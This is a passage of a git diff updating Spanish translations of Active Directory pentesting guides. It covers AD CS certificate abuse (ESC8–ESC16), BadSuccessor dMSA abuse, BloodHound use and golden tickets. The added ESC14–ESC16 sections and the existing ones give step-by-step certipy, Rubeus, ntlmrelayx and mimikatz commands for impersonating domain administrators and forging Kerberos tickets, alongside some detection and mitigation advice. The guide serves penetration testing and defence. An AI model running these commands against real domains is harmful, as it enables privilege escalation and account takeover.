ejemplo, ESC13, escalada de dominio, etc.). + +> NOTA: El mismo ataque se puede ejecutar con Certipy ≥ 4.7 a través del comando `ca` y el parámetro `-set-extension`. + +## Relevo NTLM a Puntos Finales HTTP de AD CS – ESC8 ### Explicación -> [!NOTE] -> En entornos donde **AD CS está instalado**, si existe un **punto final de inscripción web vulnerable** y al menos una **plantilla de certificado está publicada** que permite **inscripción de computadoras de dominio y autenticación de clientes** (como la plantilla **`Machine`** por defecto), se vuelve posible que **cualquier computadora con el servicio de spooler activo sea comprometida por un atacante**. +> [!TIP] +> En entornos donde **AD CS está instalado**, si existe un **punto final de inscripción web vulnerable** y al menos una **plantilla de certificado está publicada** que permite **inscripción de computadoras de dominio y autenticación de clientes** (como la plantilla predeterminada **`Machine`**), se vuelve posible que **cualquier computadora con el servicio de spooler activo sea comprometida por un atacante**! -Varios **métodos de inscripción basados en HTTP** son soportados por AD CS, disponibles a través de roles de servidor adicionales que los administradores pueden instalar. Estas interfaces para la inscripción de certificados basada en HTTP son susceptibles a **ataques de retransmisión NTLM**. Un atacante, desde una **máquina comprometida, puede suplantar cualquier cuenta de AD que se autentique a través de NTLM entrante**. Al suplantar la cuenta de la víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de autenticación de cliente utilizando las plantillas de certificado `User` o `Machine`**. +Varios **métodos de inscripción basados en HTTP** son soportados por AD CS, disponibles a través de roles de servidor adicionales que los administradores pueden instalar. Estas interfaces para la inscripción de certificados basada en HTTP son susceptibles a **ataques de relevo NTLM**. Un atacante, desde una **máquina comprometida, puede suplantar cualquier cuenta de AD que se autentique a través de NTLM entrante**. Mientras suplantan la cuenta de la víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de autenticación de cliente utilizando las plantillas de certificado `User` o `Machine`**. -- La **interfaz de inscripción web** (una aplicación ASP más antigua disponible en `http:///certsrv/`), por defecto solo admite HTTP, lo que no ofrece protección contra ataques de retransmisión NTLM. Además, permite explícitamente solo la autenticación NTLM a través de su encabezado HTTP de Autorización, haciendo que métodos de autenticación más seguros como Kerberos sean inaplicables. -- El **Servicio de Inscripción de Certificados** (CES), el **Servicio Web de Política de Inscripción de Certificados** (CEP) y el **Servicio de Inscripción de Dispositivos de Red** (NDES) por defecto soportan la autenticación negotiate a través de su encabezado HTTP de Autorización. La autenticación negotiate **soporta tanto** Kerberos como **NTLM**, permitiendo a un atacante **reducir a NTLM** la autenticación durante ataques de retransmisión. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS por sí solo **no protege contra ataques de retransmisión NTLM**. La protección contra ataques de retransmisión NTLM para servicios HTTPS solo es posible cuando HTTPS se combina con el enlace de canal. Lamentablemente, AD CS no activa la Protección Extendida para la Autenticación en IIS, que es necesaria para el enlace de canal. +- La **interfaz de inscripción web** (una aplicación ASP más antigua disponible en `http:///certsrv/`), por defecto solo admite HTTP, lo que no ofrece protección contra ataques de relevo NTLM. Además, permite explícitamente solo la autenticación NTLM a través de su encabezado HTTP de Autorización, lo que hace que métodos de autenticación más seguros como Kerberos sean inaplicables. +- El **Servicio de Inscripción de Certificados** (CES), el **Servicio Web de Políticas de Inscripción de Certificados** (CEP) y el **Servicio de Inscripción de Dispositivos de Red** (NDES) por defecto soportan autenticación negociada a través de su encabezado HTTP de Autorización. La autenticación negociada **soporta tanto** Kerberos como **NTLM**, permitiendo a un atacante **reducir a NTLM** la autenticación durante ataques de relevo. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS solo **no protege contra ataques de relevo NTLM**. La protección contra ataques de relevo NTLM para servicios HTTPS solo es posible cuando HTTPS se combina con enlace de canal. Lamentablemente, AD CS no activa la Protección Extendida para la Autenticación en IIS, que es necesaria para el enlace de canal. -Un **problema** común con los ataques de retransmisión NTLM es la **corta duración de las sesiones NTLM** y la incapacidad del atacante para interactuar con servicios que **requieren firma NTLM**. +Un problema común con los ataques de relevo NTLM es la **corta duración de las sesiones NTLM** y la incapacidad del atacante para interactuar con servicios que **requieren firma NTLM**. + +Sin embargo, esta limitación se supera al explotar un ataque de relevo NTLM para adquirir un certificado para el usuario, ya que el período de validez del certificado dicta la duración de la sesión, y el certificado puede ser empleado con servicios que **exigen firma NTLM**. Para instrucciones sobre cómo utilizar un certificado robado, consulta: -Sin embargo, esta limitación se supera al explotar un ataque de retransmisión NTLM para adquirir un certificado para el usuario, ya que el período de validez del certificado dicta la duración de la sesión, y el certificado puede ser empleado con servicios que **exigen firma NTLM**. Para instrucciones sobre cómo utilizar un certificado robado, consulta: {{#ref}} account-persistence.md {{#endref}} -Otra limitación de los ataques de retransmisión NTLM es que **una máquina controlada por el atacante debe ser autenticada por una cuenta víctima**. El atacante podría esperar o intentar **forzar** esta autenticación: +Otra limitación de los ataques de relevo NTLM es que **una máquina controlada por el atacante debe ser autenticada por una cuenta víctima**. El atacante podría esperar o intentar **forzar** esta autenticación: + {{#ref}} ../printers-spooler-service-abuse.md @@ -346,7 +388,7 @@ Otra limitación de los ataques de retransmisión NTLM es que **una máquina con ### **Abuso** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **puntos finales HTTP de AD CS habilitados**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **puntos finales HTTP AD CS habilitados**: ``` Certify.exe cas ``` @@ -406,7 +448,7 @@ Las condiciones bajo las cuales la configuración de esta bandera se vuelve sign - `StrongCertificateBindingEnforcement` no se ajusta a `2` (siendo la predeterminada `1`), o `CertificateMappingMethods` incluye la bandera `UPN`. - El certificado está marcado con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración de `msPKI-Enrollment-Flag`. - Cualquier EKU de autenticación de cliente está especificado por el certificado. -- Los permisos `GenericWrite` están disponibles sobre cualquier cuenta para comprometer a otra. +- Los permisos `GenericWrite` están disponibles sobre cualquier cuenta para comprometer otra. ### Escenario de Abuso @@ -426,7 +468,7 @@ A continuación, se solicita la plantilla de certificado `ESC9`, marcada como vu ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Se observa que el `userPrincipalName` del certificado refleja `Administrator`, desprovisto de cualquier “object SID”. +Se observa que el `userPrincipalName` del certificado refleja `Administrator`, sin ningún “object SID”. El `userPrincipalName` de `Jane` se revierte a su original, `Jane@corp.local`: ```bash @@ -440,10 +482,10 @@ certipy auth -pfx adminitrator.pfx -domain corp.local ### Explicación -Dos valores de clave de registro en el controlador de dominio son referidos por ESC10: +Dos valores de clave de registro en el controlador de dominio se refieren a ESC10: -- El valor predeterminado para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), previamente configurado como `0x1F`. -- La configuración predeterminada para `StrongCertificateBindingEnforcement` bajo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` es `1`, previamente `0`. +- El valor predeterminado para `CertificateMappingMethods` bajo `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` es `0x18` (`0x8 | 0x10`), anteriormente configurado como `0x1F`. +- La configuración predeterminada para `StrongCertificateBindingEnforcement` bajo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` es `1`, anteriormente `0`. **Caso 1** @@ -457,9 +499,9 @@ Si `CertificateMappingMethods` incluye el bit `UPN` (`0x4`). Con `StrongCertificateBindingEnforcement` configurado como `0`, una cuenta A con permisos de `GenericWrite` puede ser explotada para comprometer cualquier cuenta B. -Por ejemplo, teniendo permisos de `GenericWrite` sobre `Jane@corp.local`, un atacante busca comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que cualquier plantilla de certificado sea utilizada. +Por ejemplo, teniendo permisos de `GenericWrite` sobre `Jane@corp.local`, un atacante busca comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que se utilice cualquier plantilla de certificado. -Inicialmente, el hash de `Jane` se recupera utilizando Credenciales de Sombra, explotando el `GenericWrite`. +Inicialmente, el hash de `Jane` se recupera utilizando Credenciales en Sombra, explotando el `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` @@ -559,9 +601,9 @@ O usando [el fork de impacket de sploutchy](https://github.com/sploutchy/impacke ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Shell access to ADCS CA with YubiHSM - ESC12 +## Acceso a shell a ADCS CA con YubiHSM - ESC12 -### Explanation +### Explicación Los administradores pueden configurar la Autoridad de Certificación para almacenarla en un dispositivo externo como el "Yubico YubiHSM2". @@ -569,11 +611,11 @@ Si el dispositivo USB está conectado al servidor CA a través de un puerto USB, Esta clave/contraseña se almacena en el registro bajo `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` en texto claro. -Referencia en [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Referencia en [aquí](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Abuse Scenario +### Escenario de abuso -Si la clave privada de la CA está almacenada en un dispositivo USB físico cuando obtuviste acceso a la shell, es posible recuperar la clave. +Si la clave privada de la CA está almacenada en un dispositivo USB físico cuando obtuviste acceso a shell, es posible recuperar la clave. Primero, necesitas obtener el certificado de la CA (esto es público) y luego: ```cmd @@ -617,7 +659,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Escenario de Abuso -Encuentra un permiso de usuario que pueda usar `certipy find` o `Certify.exe find /showAllPermissions`. +Encuentra un permiso de usuario que se pueda usar `certipy find` o `Certify.exe find /showAllPermissions`. Si `John` tiene permiso para inscribir `VulnerableTemplate`, el usuario puede heredar los privilegios del grupo `VulnerableGroup`. @@ -625,11 +667,210 @@ Todo lo que necesita hacer es especificar la plantilla, obtendrá un certificado ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` +## Configuración de Renovación de Certificados Vulnerable - ESC14 + +### Explicación + +La descripción en https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping es notablemente completa. A continuación se presenta una cita del texto original. + +ESC14 aborda las vulnerabilidades que surgen de "mapeo explícito de certificados débil", principalmente a través del uso indebido o la configuración insegura del atributo `altSecurityIdentities` en cuentas de usuario o computadora de Active Directory. Este atributo de múltiples valores permite a los administradores asociar manualmente certificados X.509 con una cuenta de AD para fines de autenticación. Cuando se completa, estos mapeos explícitos pueden anular la lógica de mapeo de certificados predeterminada, que generalmente se basa en UPNs o nombres DNS en el SAN del certificado, o el SID incrustado en la extensión de seguridad `szOID_NTDS_CA_SECURITY_EXT`. + +Un mapeo "débil" ocurre cuando el valor de cadena utilizado dentro del atributo `altSecurityIdentities` para identificar un certificado es demasiado amplio, fácilmente adivinable, se basa en campos de certificado no únicos o utiliza componentes de certificado fácilmente suplantables. Si un atacante puede obtener o crear un certificado cuyos atributos coincidan con un mapeo explícito definido débil para una cuenta privilegiada, puede usar ese certificado para autenticarse como y suplantar esa cuenta. + +Ejemplos de cadenas de mapeo `altSecurityIdentities` potencialmente débiles incluyen: + +- Mapeo únicamente por un Nombre Común de Sujeto (CN) común: p. ej., `X509:CN=SomeUser`. Un atacante podría obtener un certificado con este CN de una fuente menos segura. +- Uso de Nombres Distinguibles de Emisor (DNs) o DNs de Sujeto demasiado genéricos sin más calificación como un número de serie específico o un identificador de clave de sujeto: p. ej., `X509:CN=SomeInternalCACN=GenericUser`. +- Empleo de otros patrones predecibles o identificadores no criptográficos que un atacante podría satisfacer en un certificado que puede obtener legítimamente o falsificar (si ha comprometido una CA o encontrado una plantilla vulnerable como en ESC1). + +El atributo `altSecurityIdentities` admite varios formatos para el mapeo, tales como: + +- `X509:IssuerDNSubjectDN` (mapea por el DN completo de Emisor y Sujeto) +- `X509:SubjectKeyIdentifier` (mapea por el valor de la extensión de Identificador de Clave de Sujeto del certificado) +- `X509:SerialNumberBackedByIssuerDN` (mapea por número de serie, calificado implícitamente por el DN del Emisor) - este no es un formato estándar, generalmente es `IssuerDNSerialNumber`. +- `X509:EmailAddress` (mapea por un nombre RFC822, típicamente una dirección de correo electrónico, del SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (mapea por un hash SHA1 de la clave pública en bruto del certificado - generalmente fuerte) + +La seguridad de estos mapeos depende en gran medida de la especificidad, unicidad y fuerza criptográfica de los identificadores de certificado elegidos utilizados en la cadena de mapeo. Incluso con modos de enlace de certificado fuertes habilitados en los Controladores de Dominio (que afectan principalmente a los mapeos implícitos basados en UPNs/DNS del SAN y la extensión SID), una entrada `altSecurityIdentities` mal configurada aún puede presentar un camino directo para la suplantación si la lógica de mapeo en sí es defectuosa o demasiado permisiva. + +### Escenario de Abuso + +ESC14 apunta a **mapeos explícitos de certificados** en Active Directory (AD), específicamente el atributo `altSecurityIdentities`. Si este atributo está configurado (por diseño o mala configuración), los atacantes pueden suplantar cuentas presentando certificados que coincidan con el mapeo. + +#### Escenario A: El Atacante Puede Escribir en `altSecurityIdentities` + +**Precondición**: El atacante tiene permisos de escritura en el atributo `altSecurityIdentities` de la cuenta objetivo o el permiso para otorgarlo en forma de uno de los siguientes permisos en el objeto AD objetivo: +- Escribir propiedad `altSecurityIdentities` +- Escribir propiedad `Public-Information` +- Escribir propiedad (todas) +- `WriteDACL` +- `WriteOwner`* +- `GenericWrite` +- `GenericAll` +- Owner*. + +#### Escenario B: El Objetivo Tiene un Mapeo Débil a través de X509RFC822 (Correo) + +- **Precondición**: El objetivo tiene un mapeo débil X509RFC822 en `altSecurityIdentities`. Un atacante puede establecer el atributo de correo de la víctima para que coincida con el nombre X509RFC822 del objetivo, inscribir un certificado como la víctima y usarlo para autenticarse como el objetivo. + +#### Escenario C: El Objetivo Tiene un Mapeo X509IssuerSubject + +- **Precondición**: El objetivo tiene un mapeo explícito débil X509IssuerSubject en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el sujeto del mapeo X509IssuerSubject del objetivo. Luego, el atacante puede inscribir un certificado como la víctima y usar este certificado para autenticarse como el objetivo. + +#### Escenario D: El Objetivo Tiene un Mapeo X509SubjectOnly + +- **Precondición**: El objetivo tiene un mapeo explícito débil X509SubjectOnly en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el sujeto del mapeo X509SubjectOnly del objetivo. Luego, el atacante puede inscribir un certificado como la víctima y usar este certificado para autenticarse como el objetivo. + +### operaciones concretas +#### Escenario A + +Solicitar un certificado de la plantilla de certificado `Machine` +```bash +.\Certify.exe request /ca: /template:Machine /machine +``` +Guardar y convertir el certificado +```bash +certutil -MergePFX .\esc13.pem .\esc13.pfx +``` +Autenticar (usando el certificado) +```bash +.\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap +``` +Limpieza (opcional) +```bash +Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" +``` +Para métodos de ataque más específicos en varios escenarios de ataque, consulte lo siguiente: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). + +## Políticas de Aplicación EKUwu (CVE-2024-49019) - ESC15 + +### Explicación + +La descripción en https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc es notablemente completa. A continuación se cita el texto original. + +Usando plantillas de certificados de versión 1 predeterminadas integradas, un atacante puede crear un CSR para incluir políticas de aplicación que son preferidas sobre los atributos de Uso de Clave Extendida configurados en la plantilla. El único requisito son los derechos de inscripción, y se puede utilizar para generar certificados de autenticación de cliente, agente de solicitud de certificado y certificados de firma de código utilizando la plantilla **_WebServer_**. + +### Abuso + +Lo siguiente se refiere a [este enlace](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), haga clic para ver métodos de uso más detallados. + +El comando `find` de Certipy puede ayudar a identificar plantillas V1 que son potencialmente susceptibles a ESC15 si la CA no está parcheada. +```bash +certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 +``` +#### Escenario A: Suplantación Directa a través de Schannel + +**Paso 1: Solicitar un certificado, inyectando la política de aplicación "Autenticación de Cliente" y el UPN objetivo.** El atacante `attacker@corp.local` tiene como objetivo `administrator@corp.local` utilizando la plantilla "WebServer" V1 (que permite el sujeto proporcionado por el inscrito). +```bash +certipy req \ +-u 'attacker@corp.local' -p 'Passw0rd!' \ +-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \ +-ca 'CORP-CA' -template 'WebServer' \ +-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ +-application-policies 'Client Authentication' +``` +- `-template 'WebServer'`: La plantilla vulnerable V1 con "El solicitante proporciona el sujeto". +- `-application-policies 'Client Authentication'`: Inyecta el OID `1.3.6.1.5.5.7.3.2` en la extensión de Políticas de Aplicación del CSR. +- `-upn 'administrator@corp.local'`: Establece el UPN en el SAN para suplantación. + +**Paso 2: Autenticarse a través de Schannel (LDAPS) utilizando el certificado obtenido.** +```bash +certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell +``` +#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse + +**Paso 1: Solicitar un certificado de una plantilla V1 (con "El solicitante proporciona el sujeto"), inyectando la política de aplicación "Agente de Solicitud de Certificado".** Este certificado es para el atacante (`attacker@corp.local`) para convertirse en un agente de inscripción. No se especifica un UPN para la propia identidad del atacante aquí, ya que el objetivo es la capacidad de agente. +```bash +certipy req \ +-u 'attacker@corp.local' -p 'Passw0rd!' \ +-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \ +-ca 'CORP-CA' -template 'WebServer' \ +-application-policies 'Certificate Request Agent' +``` +- `-application-policies 'Certificate Request Agent'`: Inyecta OID `1.3.6.1.4.1.311.20.2.1`. + +**Paso 2: Usa el certificado "agent" para solicitar un certificado en nombre de un usuario privilegiado objetivo.** Este es un paso similar a ESC3, utilizando el certificado del Paso 1 como el certificado agente. +```bash +certipy req \ +-u 'attacker@corp.local' -p 'Passw0rd!' \ +-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \ +-ca 'CORP-CA' -template 'User' \ +-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' +``` +**Paso 3: Autenticarse como el usuario privilegiado utilizando el certificado "on-behalf-of".** +```bash +certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' +``` +## Extensión de Seguridad Desactivada en CA (Globalmente)-ESC16 + +### Explicación + +**ESC16 (Elevación de Privilegios a través de la Falta de la Extensión szOID_NTDS_CA_SECURITY_EXT)** se refiere al escenario donde, si la configuración de AD CS no obliga la inclusión de la extensión **szOID_NTDS_CA_SECURITY_EXT** en todos los certificados, un atacante puede explotar esto al: + +1. Solicitar un certificado **sin enlace SID**. + +2. Usar este certificado **para autenticarse como cualquier cuenta**, como suplantar una cuenta de alto privilegio (por ejemplo, un Administrador de Dominio). + +También puedes consultar este artículo para aprender más sobre el principio detallado: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 + +### Abuso + +Lo siguiente se refiere a [este enlace](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Haz clic para ver métodos de uso más detallados. + +Para identificar si el entorno de Servicios de Certificados de Active Directory (AD CS) es vulnerable a **ESC16** +```bash +certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable +``` +**Paso 1: Leer el UPN inicial de la cuenta de la víctima (Opcional - para restauración).** +```bash +certipy account \ +-u 'attacker@corp.local' -p 'Passw0rd!' \ +-dc-ip '10.0.0.100' -user 'victim' \ +read +``` +**Paso 2: Actualiza el UPN de la cuenta de la víctima al `sAMAccountName` del administrador objetivo.** +```bash +certipy account \ +-u 'attacker@corp.local' -p 'Passw0rd!' \ +-dc-ip '10.0.0.100' -upn 'administrator' \ +-user 'victim' update +``` +**Paso 3: (Si es necesario) Obtén credenciales para la cuenta "víctima" (por ejemplo, a través de Shadow Credentials).** +```shell +certipy shadow \ +-u 'attacker@corp.local' -p 'Passw0rd!' \ +-dc-ip '10.0.0.100' -account 'victim' \ +auto +``` +**Paso 4: Solicitar un certificado como el usuario "víctima" de _cualquier plantilla de autenticación de cliente adecuada_ (por ejemplo, "Usuario") en la CA vulnerable a ESC16.** Debido a que la CA es vulnerable a ESC16, omitirá automáticamente la extensión de seguridad SID del certificado emitido, independientemente de la configuración específica de la plantilla para esta extensión. Establezca la variable de entorno del caché de credenciales de Kerberos (comando de shell): +```bash +export KRB5CCNAME=victim.ccache +``` +Luego solicita el certificado: +```bash +certipy req \ +-k -dc-ip '10.0.0.100' \ +-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ +-template 'User' +``` +**Paso 5: Revertir el UPN de la cuenta "víctima".** +```bash +certipy account \ +-u 'attacker@corp.local' -p 'Passw0rd!' \ +-dc-ip '10.0.0.100' -upn 'victim@corp.local' \ +-user 'victim' update +``` +**Paso 6: Autenticarse como el administrador objetivo.** +```bash +certipy auth \ +-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ +-username 'administrator' -domain 'corp.local' +``` ## Comprometiendo Bosques con Certificados Explicados en Voz Pasiva ### Ruptura de Confianzas de Bosque por CAs Comprometidos -La configuración para **inscripción entre bosques** es relativamente sencilla. El **certificado de CA raíz** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los certificados de **CA empresarial** del bosque de recursos son **agregados a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control total** sobre todos los demás bosques para los cuales gestiona PKI. Si esta CA es **comprometida por atacantes**, los certificados para todos los usuarios en ambos, el bosque de recursos y los bosques de cuentas, podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque. +La configuración para **inscripción entre bosques** es relativamente sencilla. El **certificado CA raíz** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los certificados de **CA empresarial** del bosque de recursos son **agregados a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control total** sobre todos los demás bosques para los cuales gestiona PKI. Si esta CA es **comprometida por atacantes**, los certificados para todos los usuarios en ambos, el bosque de recursos y los bosques de cuentas, podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque. ### Privilegios de Inscripción Otorgados a Principales Extranjeros @@ -638,4 +879,9 @@ Tras la autenticación a través de una confianza, el **SID de Usuarios Autentic Ambos escenarios conducen a un **aumento en la superficie de ataque** de un bosque a otro. La configuración de la plantilla de certificado podría ser explotada por un atacante para obtener privilegios adicionales en un dominio extranjero. + +## Referencias + +- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md index 87f634171..d64fde760 100644 --- a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md +++ b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md @@ -4,7 +4,7 @@ ## Descripción General -Las Cuentas de Servicio Administradas Delegadas (**dMSA**) son el sucesor de próxima generación de **gMSA** que se envían en Windows Server 2025. Un flujo de trabajo de migración legítimo permite a los administradores reemplazar una cuenta *antigua* (cuenta de usuario, computadora o servicio) con un dMSA mientras se preservan las permisos de manera transparente. El flujo de trabajo se expone a través de cmdlets de PowerShell como `Start-ADServiceAccountMigration` y `Complete-ADServiceAccountMigration` y se basa en dos atributos LDAP del **objeto dMSA**: +Las Cuentas de Servicio Administradas Delegadas (**dMSA**) son el sucesor de próxima generación de **gMSA** que se incluyen en Windows Server 2025. Un flujo de trabajo de migración legítimo permite a los administradores reemplazar una cuenta *antigua* (cuenta de usuario, computadora o servicio) con un dMSA mientras se preservan las permisos de manera transparente. El flujo de trabajo se expone a través de cmdlets de PowerShell como `Start-ADServiceAccountMigration` y `Complete-ADServiceAccountMigration` y se basa en dos atributos LDAP del **objeto dMSA**: * **`msDS-ManagedAccountPrecededByLink`** – *DN link* a la cuenta supersedida (antigua). * **`msDS-DelegatedMSAState`** – estado de migración (`0` = ninguno, `1` = en progreso, `2` = *completado*). @@ -68,7 +68,7 @@ dir \\DC01\C$ ``` ## Detección y Caza -Habilite **Auditoría de Objetos** en las OUs y monitoree los siguientes Eventos de Seguridad de Windows: +Habilite **Auditoría de Objetos** en OUs y monitoree los siguientes Eventos de Seguridad de Windows: * **5137** – Creación del objeto **dMSA** * **5136** – Modificación de **`msDS-ManagedAccountPrecededByLink`** @@ -82,8 +82,8 @@ Correlacionar `4662` (modificación de atributo), `4741` (creación de una cuent ## Mitigación * Aplique el principio de **menor privilegio** – solo delegue la gestión de *Cuentas de Servicio* a roles de confianza. -* Elimine `Create Child` / `msDS-DelegatedManagedServiceAccount` de las OUs que no lo requieran explícitamente. -* Monitoree los ID de evento listados arriba y alerte sobre identidades *no-Tier-0* que creen o editen dMSAs. +* Elimine `Create Child` / `msDS-DelegatedManagedServiceAccount` de OUs que no lo requieran explícitamente. +* Monitoree los ID de eventos listados arriba y alerte sobre identidades *no-Tier-0* que creen o editen dMSAs. ## Véase también diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md index 5070d6aa4..bde5b3443 100644 --- a/src/windows-hardening/active-directory-methodology/bloodhound.md +++ b/src/windows-hardening/active-directory-methodology/bloodhound.md @@ -21,8 +21,8 @@ adws-enumeration.md ### Uso rápido 1. Inicie la herramienta y conéctese a `dc01.corp.local` con cualquier credencial de dominio. -2. Cree una instantánea fuera de línea a través de `Archivo ➜ Crear instantánea`. -3. Compare dos instantáneas con `Archivo ➜ Comparar` para detectar desviaciones de permisos. +2. Cree una instantánea fuera de línea a través de `File ➜ Create Snapshot`. +3. Compare dos instantáneas con `File ➜ Compare` para detectar desviaciones de permisos. --- diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index e86880de7..a22c2139b 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -6,7 +6,7 @@ Un **ataque de Golden Ticket** consiste en la **creación de un Ticket Granting Ticket (TGT) legítimo impersonando a cualquier usuario** a través del uso del **hash NTLM de la cuenta krbtgt de Active Directory (AD)**. Esta técnica es particularmente ventajosa porque **permite el acceso a cualquier servicio o máquina** dentro del dominio como el usuario impersonado. Es crucial recordar que las **credenciales de la cuenta krbtgt nunca se actualizan automáticamente**. -Para **adquirir el hash NTLM** de la cuenta krbtgt, se pueden emplear varios métodos. Puede ser extraído del **proceso del Servicio de Subsistema de Seguridad Local (LSASS)** o del **archivo de Servicios de Directorio NT (NTDS.dit)** ubicado en cualquier Controlador de Dominio (DC) dentro del dominio. Además, **ejecutar un ataque DCsync** es otra estrategia para obtener este hash NTLM, que se puede realizar utilizando herramientas como el **módulo lsadump::dcsync** en Mimikatz o el **script secretsdump.py** de Impacket. Es importante subrayar que para llevar a cabo estas operaciones, **normalmente se requieren privilegios de administrador de dominio o un nivel de acceso similar**. +Para **adquirir el hash NTLM** de la cuenta krbtgt, se pueden emplear varios métodos. Puede ser extraído del **proceso del Servicio de Subsistema de Autoridad de Seguridad Local (LSASS)** o del **archivo de Servicios de Directorio NT (NTDS.dit)** ubicado en cualquier Controlador de Dominio (DC) dentro del dominio. Además, **ejecutar un ataque DCsync** es otra estrategia para obtener este hash NTLM, que se puede realizar utilizando herramientas como el **módulo lsadump::dcsync** en Mimikatz o el **script secretsdump.py** de Impacket. Es importante subrayar que para llevar a cabo estas operaciones, **normalmente se requieren privilegios de administrador de dominio o un nivel de acceso similar**. Aunque el hash NTLM sirve como un método viable para este propósito, se **recomienda encarecidamente** **forjar tickets utilizando las claves Kerberos del Estándar de Cifrado Avanzado (AES) (AES128 y AES256)** por razones de seguridad operativa. ```bash:From Linux @@ -30,7 +30,7 @@ klist #List tickets in memory # Example using aes key kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi ``` -**Una vez** que tengas el **golden Ticket inyectado**, puedes acceder a los archivos compartidos **(C$)** y ejecutar servicios y WMI, por lo que podrías usar **psexec** o **wmiexec** para obtener un shell (parece que no puedes obtener un shell a través de winrm). +**Una vez** que hayas inyectado el **golden Ticket**, puedes acceder a los archivos compartidos **(C$)** y ejecutar servicios y WMI, por lo que podrías usar **psexec** o **wmiexec** para obtener un shell (parece que no puedes obtener un shell a través de winrm). ### Eludir detecciones comunes diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 673cb15c7..25cd50375 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -19,7 +19,7 @@ Get-ADComputer -Filter 